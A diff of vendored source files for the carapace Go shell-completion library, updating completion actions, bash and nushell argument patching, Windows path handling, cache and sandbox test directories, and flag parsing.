b/vendor/github.com/rsteube/carapace/compat.go @@ -2,6 +2,7 @@ package carapace import ( "fmt" + "strings" "github.com/spf13/cobra" "github.com/spf13/pflag" @@ -10,17 +11,27 @@ import ( func registerValidArgsFunction(cmd *cobra.Command) { if cmd.ValidArgsFunction == nil { cmd.ValidArgsFunction = func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { - action := storage.getPositional(cmd, len(args)).Invoke(Context{Args: args, Value: toComplete}) + action := Action{}.Invoke(Context{Args: args, Value: toComplete}) // TODO just IvokedAction{} ok? + if storage.hasPositional(cmd, len(args)) { + action = storage.getPositional(cmd, len(args)).Invoke(Context{Args: args, Value: toComplete}) + } return cobraValuesFor(action), cobraDirectiveFor(action) } } } func registerFlagCompletion(cmd *cobra.Command) { - cmd.Flags().VisitAll(func(f *pflag.Flag) { + cmd.LocalFlags().VisitAll(func(f *pflag.Flag) { + if !storage.hasFlag(cmd, f.Name) { + return // skip if not defined in carapace + } + if _, ok := cmd.GetFlagCompletionFunc(f.Name); ok { + return // skip if already defined in cobra + } + err := cmd.RegisterFlagCompletionFunc(f.Name, func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) { a := storage.getFlag(cmd, f.Name) - action := a.Invoke(Context{Args: args, Value: toComplete}) + action := a.Invoke(Context{Args: args, Value: toComplete}) // TODO cmd might differ for persistentflags and either way args or cmd will be wrong return cobraValuesFor(action), cobraDirectiveFor(action) }) if err != nil { @@ -51,3 +62,48 @@ func cobraDirectiveFor(action InvokedAction) cobra.ShellCompDirective { } return directive } + +type compDirective cobra.ShellCompDirective + +func (d compDirective) matches(cobraDirective cobra.ShellCompDirective) bool { + return d&compDirective(cobraDirective) != 0 +} + +func (d compDirective) ToA(values ...string) Action { + var action Action + switch { + case d.matches(cobra.ShellCompDirectiveError): + return ActionMessage("an error occurred") + case d.matches(cobra.ShellCompDirectiveFilterDirs): + switch len(values) { + case 0: + action = ActionDirectories() + default: + action = ActionDirectories().Chdir(values[0]) + } + case d.matches(cobra.ShellCompDirectiveFilterFileExt): + extensions := make([]string, 0) + for _, v := range values { + extensions = append(extensions, "."+v) + } + return ActionFiles(extensions...) + case len(values) == 0 && !d.matches(cobra.ShellCompDirectiveNoFileComp): + action = ActionFiles() + default: + vals := make([]string, 0) + for _, v := range values { + if splitted := strings.SplitN(v, "\t", 2); len(splitted) == 2 { + vals = append(vals, splitted[0], splitted[1]) + } else { + vals = append(vals, splitted[0], "") + } + } + action = ActionValuesDescribed(vals...) + } + + if d.matches(cobra.ShellCompDirectiveNoSpace) { + action = action.NoSpace() + } + + return action +} diff --git a/vendor/github.com/rsteube/carapace/complete.go b/vendor/github.com/rsteube/carapace/complete.go index f23efa8f02..b13ed44603 100644 --- a/vendor/github.com/rsteube/carapace/complete.go +++ b/vendor/github.com/rsteube/carapace/complete.go @@ -1,41 +1,15 @@ package carapace import ( - "github.com/rsteube/carapace/internal/common" + "os" + "github.com/rsteube/carapace/internal/config" - "github.com/rsteube/carapace/internal/shell/library" + "github.com/rsteube/carapace/internal/shell/bash" + "github.com/rsteube/carapace/internal/shell/nushell" "github.com/rsteube/carapace/pkg/ps" - "github.com/rsteube/carapace/pkg/style" "github.com/spf13/cobra" ) -// Complete can be used by Go programs wishing to produce completions for -// themselves, without passing through shell snippets/output or export formats. -// -// The `onFinalize` function parameter, if non nil, will be called after having -// generated the completions from the given command/tree. This function is generally -// used to reset the command tree, which is needed when the Go program is a shell itself. -// Also, and before calling `onFinalize` if not nil, the completion storage is cleared. -func Complete(cmd *cobra.Command, args []string, onFinalize func()) (common.RawValues, common.Meta) { - // Generate the completion as normally done for an external system shell - initHelpCompletion(cmd) - action, context := traverse(cmd, args[2:]) - - if err := config.Load(); err != nil { - action = ActionMessage("failed to load config: " + err.Error()) - } - - if onFinalize != nil { - storage = make(_storage) - - onFinalize() - } - - invoked := action.Invoke(context) - - return library.ActionRawValues(context.Value, invoked.meta, invoked.rawValues) -} - func complete(cmd *cobra.Command, args []string) (string, error) { switch len(args) { case 0: @@ -44,46 +18,31 @@ func complete(cmd *cobra.Command, args []string) (string, error) { return Gen(cmd).Snippet(args[0]) default: initHelpCompletion(cmd) + + switch ps.DetermineShell() { + case "nushell": + args = nushell.Patch(args) // handle open quotes + LOG.Printf("patching args to %#v", args) + case "bash": // TODO what about oil and such? + LOG.Printf("COMP_LINE is %#v", os.Getenv("COMP_LINE")) + LOG.Printf("COMP_POINT is %#v", os.Getenv("COMP_POINT")) + var err error + args, err = bash.Patch(args) // handle redirects + LOG.Printf("patching args to %#v", args) + if err != nil { + context := NewContext(args...) + if _, ok := err.(bash.RedirectError); ok { + LOG.Printf("completing redirect target for %#v", args) + return ActionFiles().Invoke(context).value(args[0], args[len(args)-1]), nil + } + return ActionMessage(err.Error()).Invoke(context).value(args[0], args[len(args)-1]), nil + } + } + action, context := traverse(cmd, args[2:]) if err := config.Load(); err != nil { action = ActionMessage("failed to load config: " + err.Error()) } - return action.Invoke(context).value(args[0], args[len(args)-1]), nil } } - -func internalValues(action InvokedAction, current string, onFinalize func()) (common.RawValues, common.Meta) { - unsorted := action.rawValues - sorted := make(common.RawValues, 0) - - // Ensure values are sorted. - unsorted.EachTag(func(_ string, values common.RawValues) { - vals := make(common.RawValues, len(values)) - for index, val := range values { - if !action.meta.Nospace.Matches(val.Value) { - val.Value += " " - } - if val.Style != "" { - val.Style = style.SGR(val.Style) - } - - vals[index] = val - } - sorted = append(sorted, vals...) - }) - - // Merge/filter completions and meta stuff. - filtered := sorted.FilterPrefix(current) - filtered = action.meta.Messages.Integrate(filtered, current) - - // Reset the storage (empty all commands) and run the finalize function, which is - // generally in charge of binding new command instances, with blank flags. - if onFinalize != nil { - storage = make(_storage) - - onFinalize() - } - - return filtered, action.meta -} diff --git a/vendor/github.com/rsteube/carapace/context.go b/vendor/github.com/rsteube/carapace/context.go index 7f82d1082b..2eed94a3a2 100644 --- a/vendor/github.com/rsteube/carapace/context.go +++ b/vendor/github.com/rsteube/carapace/context.go @@ -6,13 +6,13 @@ import ( "os" "path/filepath" "strings" - "unicode" - "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/shell/zsh" + "github.com/rsteube/carapace/pkg/util" "github.com/rsteube/carapace/third_party/github.com/drone/envsubst" "github.com/rsteube/carapace/third_party/golang.org/x/sys/execabs" + "github.com/spf13/cobra" ) // Context provides information during completion. @@ -29,6 +29,7 @@ type Context struct { Dir string mockedReplies map[string]string + cmd *cobra.Command // needed for ActionCobra } // NewContext creates a new context for given arguments. @@ -47,11 +48,8 @@ func NewContext(args ...string) Context { context.Dir = wd } - isGoRun := func() bool { return strings.HasPrefix(os.Args[0], os.TempDir()+"/go-build") } - if sandbox := env.Sandbox(); sandbox != "" && isGoRun() { - var m common.Mock - _ = json.Unmarshal([]byte(sandbox), &m) - context.Dir = m.Dir + if m, err := env.Sandbox(); err == nil { + context.Dir = m.WorkDir() context.mockedReplies = m.Replies } return context @@ -115,51 +113,16 @@ func expandHome(s string) (string, error) { if err != nil { return "", err } + home = filepath.ToSlash(home) s = strings.Replace(s, "~/", home+"/", 1) } return s, nil } -func isWindowsVolume(path string) bool { - if len(path) <= 1 { - return false - } - - // We need at least two characters, - // of which the first must be a letter - // and the second as colon. - if unicode.IsLetter(rune(path[0])) && path[1] == ':' { - return true - } - - return false -} - -// windowsDisplayTrimmed returns a trimmed display folder and true if -// the context value is a Windows volume (absolute path), or nothing and false. -func windowsDisplayTrimmed(abs, cValue, displayFolder string) (string, bool) { - if !isWindowsVolume(cValue) { - return displayFolder, false - } - - // volume name such as C: => displayFolder then becomes C:. - if !strings.HasSuffix(abs, ".") { - displayFolder = strings.TrimSuffix(displayFolder, ".") - } - - // If the context value is C:/, the display folder is still C:, - // so we only add a trailing slash when the context value is C: - // or if it's C:/Us (eg. longer than the volume root with slash). - if len(cValue) == 2 || (len(displayFolder) > 3) && !strings.HasSuffix(displayFolder, "/") { - displayFolder = displayFolder + "/" - } - - return displayFolder, true -} - // Abs returns an absolute representation of path. func (c Context) Abs(path string) (string, error) { - if !strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "~") && !isWindowsVolume(path) { // path is relative + path = filepath.ToSlash(path) + if !strings.HasPrefix(path, "/") && !strings.HasPrefix(path, "~") && !util.HasVolumePrefix(path) { // path is relative switch c.Dir { case "": path = "./" + path @@ -173,10 +136,14 @@ func (c Context) Abs(path string) (string, error) { return "", err } + if len(path) == 2 && util.HasVolumePrefix(path) { + path += "/" // prevent `C:` -> `C:./current/working/directory` + } result, err := filepath.Abs(path) if err != nil { return "", err } + result = filepath.ToSlash(result) if strings.HasSuffix(path, "/") && !strings.HasSuffix(result, "/") { result += "/" diff --git a/vendor/github.com/rsteube/carapace/defaultActions.go b/vendor/github.com/rsteube/carapace/defaultActions.go index 06a1df3ac3..2d1df6ad9e 100644 --- a/vendor/github.com/rsteube/carapace/defaultActions.go +++ b/vendor/github.com/rsteube/carapace/defaultActions.go @@ -11,8 +11,10 @@ import ( "github.com/rsteube/carapace/internal/common" "github.com/rsteube/carapace/internal/config" + "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/export" "github.com/rsteube/carapace/internal/man" + "github.com/rsteube/carapace/pkg/match" "github.com/rsteube/carapace/pkg/style" "github.com/rsteube/carapace/third_party/github.com/acarl005/stripansi" "github.com/spf13/cobra" @@ -24,7 +26,7 @@ func ActionCallback(callback CompletionCallback) Action { return Action{callback: callback} } -// ActionExecCommand invokes given command and transforms its output using given function on success or returns ActionMessage with the first line of stderr if available. +// ActionExecCommand executes an external command. // // carapace.ActionExecCommand("git", "remote")(func(output []byte) carapace.Action { // lines := strings.Split(string(output), "\n") @@ -64,6 +66,7 @@ func ActionExecCommandE(name string, arg ...string) func(f func(output []byte, e cmd := c.Command(name, arg...) cmd.Stdout = &stdout cmd.Stderr = &stderr + LOG.Printf("executing %#v", cmd.String()) if err := cmd.Run(); err != nil { if exitErr, ok := err.(*exec.ExitError); ok { exitErr.Stderr = stderr.Bytes() // seems this needs to be set manually due to stdout being collected? @@ -204,32 +207,58 @@ func ActionMessage(msg string, args ...interface{}) Action { if len(args) > 0 { msg = fmt.Sprintf(msg, args...) } - a := ActionValues().NoSpace() + a := ActionValues() a.meta.Messages.Add(stripansi.Strip(msg)) return a }) } -// ActionMultiParts completes multiple parts of words separately where each part is separated by some char (Context.Value is set to the currently completed part during invocation). -func ActionMultiParts(divider string, callback func(c Context) Action) Action { +// ActionMultiParts completes parts of an argument separated by sep. +func ActionMultiParts(sep string, callback func(c Context) Action) Action { + return ActionMultiPartsN(sep, -1, callback) +} + +// ActionMultiPartsN is like ActionMultiParts but limits the number of parts to `n`. +func ActionMultiPartsN(sep string, n int, callback func(c Context) Action) Action { return ActionCallback(func(c Context) Action { - index := strings.LastIndex(c.Value, string(divider)) - prefix := "" - if len(divider) == 0 { - prefix = c.Value - c.Value = "" - } else if index != -1 { - prefix = c.Value[0 : index+len(divider)] - c.Value = c.Value[index+len(divider):] // update Context.Value to only contain the currently completed part + switch n { + case 0: + return ActionMessage("invalid value for n [ActionValuesDescribed]: %v", n) + case 1: + return callback(c).Invoke(c).ToA() } - parts := strings.Split(prefix, string(divider)) - if len(parts) > 0 && len(divider) > 0 { - parts = parts[0 : len(parts)-1] + + splitted := strings.SplitN(c.Value, sep, n) + prefix := "" + c.Parts = []string{} + + switch { + case len(sep) == 0: + switch { + case n < 0: + prefix = c.Value + c.Value = "" + c.Parts = splitted + default: + prefix = c.Value + if n-1 < len(prefix) { + prefix = c.Value[:n-1] + c.Value = c.Value[n-1:] + } else { + c.Value = "" + } + c.Parts = strings.Split(prefix, "") + } + default: + if len(splitted) > 1 { + c.Value = splitted[len(splitted)-1] + c.Parts = splitted[:len(splitted)-1] + prefix = strings.Join(c.Parts, sep) + sep + } } - c.Parts = parts nospace := '*' - if runes := []rune(divider); len(runes) > 0 { + if runes := []rune(sep); len(runes) > 0 { nospace = runes[len(runes)-1] } return callback(c).Invoke(c).Prefix(prefix).ToA().NoSpace(nospace) @@ -266,7 +295,7 @@ func ActionStyleConfig() Action { }) case 1: return ActionMultiParts(",", func(c Context) Action { - return ActionStyles(c.Parts...).Invoke(c).Filter(c.Parts).ToA().NoSpace() + return ActionStyles(c.Parts...).Invoke(c).Filter(c.Parts...).ToA().NoSpace() }) default: return ActionValues() @@ -388,7 +417,7 @@ func ActionStyles(styles ...string) Action { style.Inverse, _s(style.Inverse), )) - return batch.ToA() + return batch.ToA().NoSpace('r') }).Tag("styles") } @@ -414,7 +443,7 @@ func actionDirectoryExecutables(dir string, prefix string, manDescriptions map[s if files, err := os.ReadDir(dir); err == nil { vals := make([]string, 0) for _, f := range files { - if strings.HasPrefix(f.Name(), prefix) { + if match.HasPrefix(f.Name(), prefix) { if info, err := f.Info(); err == nil && !f.IsDir() && isExecAny(info.Mode()) { vals = append(vals, f.Name(), manDescriptions[f.Name()], style.ForPath(dir+"/"+f.Name(), c)) } @@ -445,10 +474,62 @@ func ActionPositional(cmd *cobra.Command) Action { c.Args = cmd.Flags().Args() entry := storage.get(cmd) - a := entry.positionalAny + var a Action + if entry.positionalAny != nil { + a = *entry.positionalAny + } + if index := len(c.Args); index < len(entry.positional) { a = entry.positional[len(c.Args)] } return a.Invoke(c).ToA() }) } + +// ActionCommands completes (sub)commands of given command. +// `Context.Args` is used to traverse the command tree further down. Use `Action.Shift` to avoid this. +// +// carapace.Gen(helpCmd).PositionalAnyCompletion( +// carapace.ActionCommands(rootCmd), +// ) +func ActionCommands(cmd *cobra.Command) Action { + return ActionCallback(func(c Context) Action { + if len(c.Args) > 0 { + for _, subCommand := range cmd.Commands() { + for _, name := range append(subCommand.Aliases, subCommand.Name()) { + if name == c.Args[0] { // cmd.Find is too lenient + return ActionCommands(subCommand).Shift(1) + } + } + } + return ActionMessage("unknown subcommand %#v for %#v", c.Args[0], cmd.Name()) + } + + batch := Batch() + for _, subcommand := range cmd.Commands() { + if (!subcommand.Hidden || env.Hidden()) && subcommand.Deprecated == "" { + group := common.Group{Cmd: subcommand} + batch = append(batch, ActionStyledValuesDescribed(subcommand.Name(), subcommand.Short, group.Style()).Tag(group.Tag())) + for _, alias := range subcommand.Aliases { + batch = append(batch, ActionStyledValuesDescribed(alias, subcommand.Short, group.Style()).Tag(group.Tag())) + } + } + } + return batch.ToA() + }) +} + +// ActionCora bridges given cobra completion function. +func ActionCobra(f func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective)) Action { + return ActionCallback(func(c Context) Action { + switch { + case f == nil: + return ActionValues() + case c.cmd == nil: // ensure cmd is never nil even if context does not contain one + LOG.Print("cmd is nil [ActionCobra]") + c.cmd = &cobra.Command{Use: "_carapace_actioncobra", Hidden: true, Deprecated: "dummy command for ActionCobra"} + } + values, directive := f(c.cmd, c.cmd.Flags().Args(), c.Value) + return compDirective(directive).ToA(values...) + }) +} diff --git a/vendor/github.com/rsteube/carapace/experimental.go b/vendor/github.com/rsteube/carapace/experimental.go new file mode 100644 index 0000000000..4d0645c9f1 --- /dev/null +++ b/vendor/github.com/rsteube/carapace/experimental.go @@ -0,0 +1,32 @@ +package carapace + +import ( + "encoding/json" + + "github.com/rsteube/carapace/internal/config" + "github.com/rsteube/carapace/internal/export" + "github.com/rsteube/carapace/pkg/x" + "github.com/spf13/cobra" +) + +func init() { + x.ClearStorage = func() { + storage = make(_storage) + } + + x.Complete = func(cmd *cobra.Command, args ...string) (*export.Export, error) { + initHelpCompletion(cmd) + action, context := traverse(cmd, args[2:]) + + if err := config.Load(); err != nil { + return nil, err + } + + output := action.Invoke(context).value("export", "") + var e export.Export + if err := json.Unmarshal([]byte(output), &e); err != nil { + return nil, err + } + return &e, nil + } +} diff --git a/vendor/github.com/rsteube/carapace/go.work.sum b/vendor/github.com/rsteube/carapace/go.work.sum index 46640fbe2a..8464a61119 100644 --- a/vendor/github.com/rsteube/carapace/go.work.sum +++ b/vendor/github.com/rsteube/carapace/go.work.sum @@ -1,7 +1,13 @@ +github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= +github.com/cpuguy83/go-md2man/v2 v2.0.3/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/rsteube/carapace-pflag v0.0.4 h1:Onb0cLNLxg1xJr2EsMlBldAI5KkybrvZ89b5cRElZXI= github.com/rsteube/carapace-pflag v0.0.4/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/rsteube/carapace-pflag v0.0.5 h1:QQC0KnthHMayHsX7B7DxqOkr0B6JSIM0glB+KrSTruU= github.com/rsteube/carapace-pflag v0.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= github.com/rsteube/carapace-pflag v0.1.0 h1:CPJRlj3jbyOnxuMf5pdrM76hEwdQ0STDDmkAHQcGbhg= github.com/rsteube/carapace-pflag v0.1.0/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +github.com/rsteube/carapace-shlex v0.0.1 h1:8uvsc+ISKw7uoITSp92nNisFUOulYMz+Uu7N5nbHTiM= +github.com/rsteube/carapace-shlex v0.0.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= +github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk= +github.com/spf13/cobra v1.8.0 h1:7aJaZx1B85qltLMc546zn58BxxfZdR/W22ej9CFoEf0= +github.com/spf13/cobra v1.8.0/go.mod h1:WXLWApfZ71AjXPya3WOlMsY9yMs7YeiHhFVlvLyhcho= diff --git a/vendor/github.com/rsteube/carapace/internal/cache/cache.go b/vendor/github.com/rsteube/carapace/internal/cache/cache.go index e90ab03bbb..02252a7995 100644 --- a/vendor/github.com/rsteube/carapace/internal/cache/cache.go +++ b/vendor/github.com/rsteube/carapace/internal/cache/cache.go @@ -11,6 +11,7 @@ import ( "strings" "time" + "github.com/rsteube/carapace/internal/env" "github.com/rsteube/carapace/internal/export" "github.com/rsteube/carapace/internal/uid" "github.com/rsteube/carapace/pkg/cache" @@ -21,7 +22,7 @@ import ( func Write(file string, e export.Export) (err error) { var m []byte if m, err = json.Marshal(e); err == nil { - err = os.WriteFile(file, m, 0o600) + err = os.WriteFile(file, m, 0600) } return } @@ -29,7 +30,7 @@ func Write(file string, e export.Export) (err error) { // Load loads values from file unless modification date exceeds timeout. func Load(file string, timeout time.Duration) (e export.Export, err error) { var stat os.FileInfo - if stat, err = os.Stat(file); os.IsNotExist(err) || (timeout > 0 && stat.ModTime().Add(timeout).Before(time.Now())) { + if stat, err = os.Stat(file); os.IsNotExist(err) || (timeout >= 0 && stat.ModTime().Add(timeout).Before(time.Now())) { err = errors.New("not exists or timeout exceeded") } else { var content []byte @@ -43,15 +44,22 @@ func Load(file string, timeout time.Duration) (e export.Export, err error) { // CacheDir creates a cache folder for current user and returns the path. func CacheDir(name string) (dir string, err error) { var userCacheDir string - if userCacheDir, err = xdg.UserCacheDir(); err == nil { - dir = fmt.Sprintf("%v/carapace/%v/%v", userCacheDir, uid.Executable(), name) - err = os.MkdirAll(dir, 0o700) + userCacheDir, err = xdg.UserCacheDir() + if err != nil { + return } + + if m, sandboxErr := env.Sandbox(); sandboxErr == nil { + userCacheDir = m.CacheDir() + } + + dir = fmt.Sprintf("%v/carapace/%v/%v", userCacheDir, uid.Executable(), name) + err = os.MkdirAll(dir, 0700) return } // File returns the cache filename for given values -// TODO cleanup. +// TODO cleanup func File(callerFile string, callerLine int, keys ...cache.Key) (file string, err error) { uid := uidKeys(callerFile, strconv.Itoa(callerLine)) ids := make([]string, 0) diff --git a/vendor/github.com/rsteube/carapace/internal/common/group.go b/vendor/github.com/rsteube/carapace/internal/common/group.go index a5230ddf95..c0bd65e024 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/group.go +++ b/vendor/github.com/rsteube/carapace/internal/common/group.go @@ -1,7 +1,6 @@ package common import ( - "fmt" "strings" "github.com/rsteube/carapace/pkg/style" @@ -13,17 +12,17 @@ type Group struct { } func (g Group) Tag() string { - tag := "commands" - if id := g.Cmd.GroupID; id != "" { - if strings.HasSuffix(id, "commands") { - tag = id - } else { - tag = fmt.Sprintf("%v %v", id, tag) - } - } else if len(g.Cmd.Parent().Groups()) != 0 { - tag = "other commands" + id := strings.ToLower(g.Cmd.GroupID) + switch { + case strings.HasSuffix(id, " commands"): + return id + case id != "": + return id + " commands" + case len(g.Cmd.Parent().Groups()) != 0: + return "other commands" + default: + return "commands" } - return tag } func (g Group) Style() string { diff --git a/vendor/github.com/rsteube/carapace/internal/common/mock.go b/vendor/github.com/rsteube/carapace/internal/common/mock.go index 8ef8dd9c82..ad9edd29a8 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/mock.go +++ b/vendor/github.com/rsteube/carapace/internal/common/mock.go @@ -1,6 +1,43 @@ package common +import ( + "fmt" + "os" +) + type Mock struct { Dir string Replies map[string]string } + +func (m Mock) CacheDir() string { + return m.Dir + "/cache/" +} + +func (m Mock) WorkDir() string { + return m.Dir + "/work/" +} + +type t interface { + Name() string + Fatal(...interface{}) +} + +func NewMock(t t) *Mock { + tempDir, err := os.MkdirTemp(os.TempDir(), fmt.Sprintf("carapace-sandbox_%v_", t.Name())) + if err != nil { + t.Fatal("failed to create sandbox dir: " + err.Error()) + } + + m := &Mock{ + Dir: tempDir, + Replies: make(map[string]string), + } + if err := os.Mkdir(m.CacheDir(), os.ModePerm); err != nil { + t.Fatal("failed to create sandbox cache dir: " + err.Error()) + } + if err := os.Mkdir(m.WorkDir(), os.ModePerm); err != nil { + t.Fatal("failed to create sandbox work dir: " + err.Error()) + } + return m +} diff --git a/vendor/github.com/rsteube/carapace/internal/common/suffix.go b/vendor/github.com/rsteube/carapace/internal/common/suffix.go index d4ae4b92b0..615f820e97 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/suffix.go +++ b/vendor/github.com/rsteube/carapace/internal/common/suffix.go @@ -41,10 +41,6 @@ func (sm SuffixMatcher) Matches(s string) bool { return false } -func (sm SuffixMatcher) String() string { - return sm.string -} - func (sm SuffixMatcher) MarshalJSON() ([]byte, error) { return json.Marshal(sm.string) } diff --git a/vendor/github.com/rsteube/carapace/internal/common/value.go b/vendor/github.com/rsteube/carapace/internal/common/value.go index 75c88184bb..724430a364 100644 --- a/vendor/github.com/rsteube/carapace/internal/common/value.go +++ b/vendor/github.com/rsteube/carapace/internal/common/value.go @@ -5,6 +5,7 @@ import ( "sort" "strings" + "github.com/rsteube/carapace/pkg/match" "github.com/rsteube/carapace/pkg/style" ) @@ -82,6 +83,21 @@ func (r RawValues) Filter(values ...string) RawValues { return filtered } +// Retain retains given values. +func (r RawValues) Retain(values ...string) RawValues { + toretain := make(map[string]bool) + for _, v := range values { + toretain[v] = true + } + filtered := make([]RawValue, 0) + for _, rawValue := range r { + if _, ok := toretain[rawValue.Value]; ok { + filtered = append(filtered, rawValue) + } + } + return filtered +} + // Decolor clears style for all values. func (r RawValues) Decolor() RawValues { rawValues := make(RawValues, len(r)) @@ -96,7 +112,7 @@ func (r RawValues) Decolor() RawValues { func (r RawValues) FilterPrefix(prefix string) RawValues { filtered := make(RawValues, 0) for _, r := range r { - if strings.HasPrefix(r.Value, prefix) { + if match.HasPrefix(r.Value, prefix) { filtered = append(filtered, r) } } @@ -104,20 +120,18 @@ func (r RawValues) FilterPrefix(prefix string) RawValues { } func (r RawValues) EachTag(f func(tag string, values RawValues)) { - tags := make([]string, 0) tagGroups := make(map[string]RawValues) for _, val := range r { if _, exists := tagGroups[val.Tag]; !exists { tagGroups[val.Tag] = make(RawValues, 0) - tags = append(tags, val.Tag) } tagGroups[val.Tag] = append(tagGroups[val.Tag], val) } - // tags := make([]string, 0) - // for tag := range tagGroups { - // tags = append(tags, tag) - // } + tags := make([]string, 0) + for tag := range tagGroups { + tags = append(tags, tag) + } sort.Strings(tags) for _, tag := range tags { diff --git a/vendor/github.com/rsteube/carapace/internal/env/env.go b/vendor/github.com/rsteube/carapace/internal/env/env.go index 134f5ce079..8f5a62cc53 100644 --- a/vendor/github.com/rsteube/carapace/internal/env/env.go +++ b/vendor/github.com/rsteube/carapace/internal/env/env.go @@ -1,23 +1,62 @@ package env -import "os" +import ( + "encoding/json" + "errors" + "os" + "strings" + + "github.com/rsteube/carapace/internal/common" +) + +const ( + CARAPACE_COVERDIR = "CARAPACE_COVERDIR" // coverage directory for sandbox tests + CARAPACE_HIDDEN = "CARAPACE_HIDDEN" // show hidden commands/flags + CARAPACE_LENIENT = "CARAPACE_LENIENT" // allow unknown flags + CARAPACE_LOG = "CARAPACE_LOG" // enable logging + CARAPACE_MATCH = "CARAPACE_MATCH" // match case insensitive + CARAPACE_SANDBOX = "CARAPACE_SANDBOX" // mock context for sandbox tests + CARAPACE_ZSH_HASH_DIRS = "CARAPACE_ZSH_HASH_DIRS" // zsh hash directories + CLICOLOR = "CLICOLOR" // disable color + NO_COLOR = "NO_COLOR" // disable color +) func ColorDisabled() bool { - return os.Getenv("NO_COLOR") != "" || os.Getenv("CLICOLOR") == "0" + return os.Getenv(NO_COLOR) != "" || os.Getenv(CLICOLOR) == "0" } func Lenient() bool { - return os.Getenv("CARAPACE_LENIENT") != "" + return os.Getenv(CARAPACE_LENIENT) != "" } func Hashdirs() string { - return os.Getenv("CARAPACE_ZSH_HASH_DIRS") + return os.Getenv(CARAPACE_ZSH_HASH_DIRS) } -func Sandbox() string { - return os.Getenv("CARAPACE_SANDBOX") +func Sandbox() (m *common.Mock, err error) { + sandbox := os.Getenv(CARAPACE_SANDBOX) + if sandbox == "" || !isGoRun() { + return nil, errors.New("no sandbox") + } + + err = json.Unmarshal([]byte(sandbox), &m) + return } func Log() bool { - return os.Getenv("CARAPACE_LOG") != "" + return os.Getenv(CARAPACE_LOG) != "" +} + +func Hidden() bool { + return os.Getenv(CARAPACE_HIDDEN) != "" +} + +func CoverDir() string { + return os.Getenv(CARAPACE_COVERDIR) // custom env for GOCOVERDIR so that it works together with `-coverprofile` +} + +func isGoRun() bool { return strings.HasPrefix(os.Args[0], os.TempDir()+"/go-build") } + +func Match() string { // see match.Match + return os.Getenv(CARAPACE_MATCH) } diff --git a/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go b/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go index 1fb3ff5fbd..79465df79c 100644 --- a/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go +++ b/vendor/github.com/rsteube/carapace/internal/pflagfork/flag.go @@ -6,6 +6,7 @@ import ( "strings" "github.com/rsteube/carapace/pkg/style" + "github.com/spf13/cobra" "github.com/spf13/pflag" ) @@ -20,6 +21,8 @@ const ( type Flag struct { *pflag.Flag + Prefix string + Args []string } func (f Flag) Nargs() int { @@ -52,53 +55,6 @@ func (f Flag) IsRepeatable() bool { return false } -func (f Flag) Split(arg string) (prefix, optarg string) { - delimiter := string(f.OptargDelimiter()) - splitted := strings.SplitN(arg, delimiter, 2) - return splitted[0] + delimiter, splitted[1] -} - -func (f Flag) Matches(arg string, posix bool) bool { - if !strings.HasPrefix(arg, "-") { // not a flag - return false - } - - switch { - - case strings.HasPrefix(arg, "--"): - name := strings.TrimPrefix(arg, "--") - name = strings.SplitN(name, string(f.OptargDelimiter()), 2)[0] - - switch f.Mode() { - case ShorthandOnly, NameAsShorthand: - return false - default: - return name == f.Name - } - - case !posix: - name := strings.TrimPrefix(arg, "-") - name = strings.SplitN(name, string(f.OptargDelimiter()), 2)[0] - - if name == "" { - return false - } - - switch f.Mode() { - case ShorthandOnly: - return name == f.Shorthand - default: - return name == f.Name || name == f.Shorthand - } - - default: - if f.Shorthand != "" { - return strings.HasSuffix(arg, f.Shorthand) - } - return false - } -} - func (f Flag) TakesValue() bool { switch f.Value.Type() { case "bool", "boolSlice", "count": @@ -125,6 +81,13 @@ func (f Flag) Style() string { } } +func (f Flag) Required() bool { + if annotation := f.Annotations[cobra.BashCompOneRequiredFlag]; len(annotation) == 1 && annotation[0] == "true" { + return true + } + return false +} + func (f Flag) Definition() string { var definition string switch f.Mode() { @@ -141,6 +104,14 @@ func (f Flag) Definition() string { } } + if f.Hidden { + definition += "&" + } + + if f.Required() { + definition += "!" + } + if f.IsRepeatable() { definition += "*" } @@ -158,3 +129,22 @@ func (f Flag) Definition() string { return definition } + +func (f Flag) Consumes(arg string) bool { + switch { + case f.Flag == nil: + return false + case !f.TakesValue(): + return false + case f.IsOptarg(): + return false + case len(f.Args) == 0: + return true + case f.Nargs() > 1 && len(f.Args) < f.Nargs(): + return true + case f.Nargs() < 0 && !strings.HasPrefix(arg, "-"): + return true + default: + return false + } +} diff --git a/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go b/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go index 53b3aaecd5..17077ebf07 100644 --- a/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go +++ b/vendor/github.com/rsteube/carapace/internal/pflagfork/flagset.go @@ -12,6 +12,13 @@ type FlagSet struct { *pflag.FlagSet } +func (f FlagSet) IsInterspersed() bool { + if fv := reflect.ValueOf(f.FlagSet).Elem().FieldByName("interspersed"); fv.IsValid() { + return fv.Bool() + } + return false +} + func (f FlagSet) IsPosix() bool { if method := 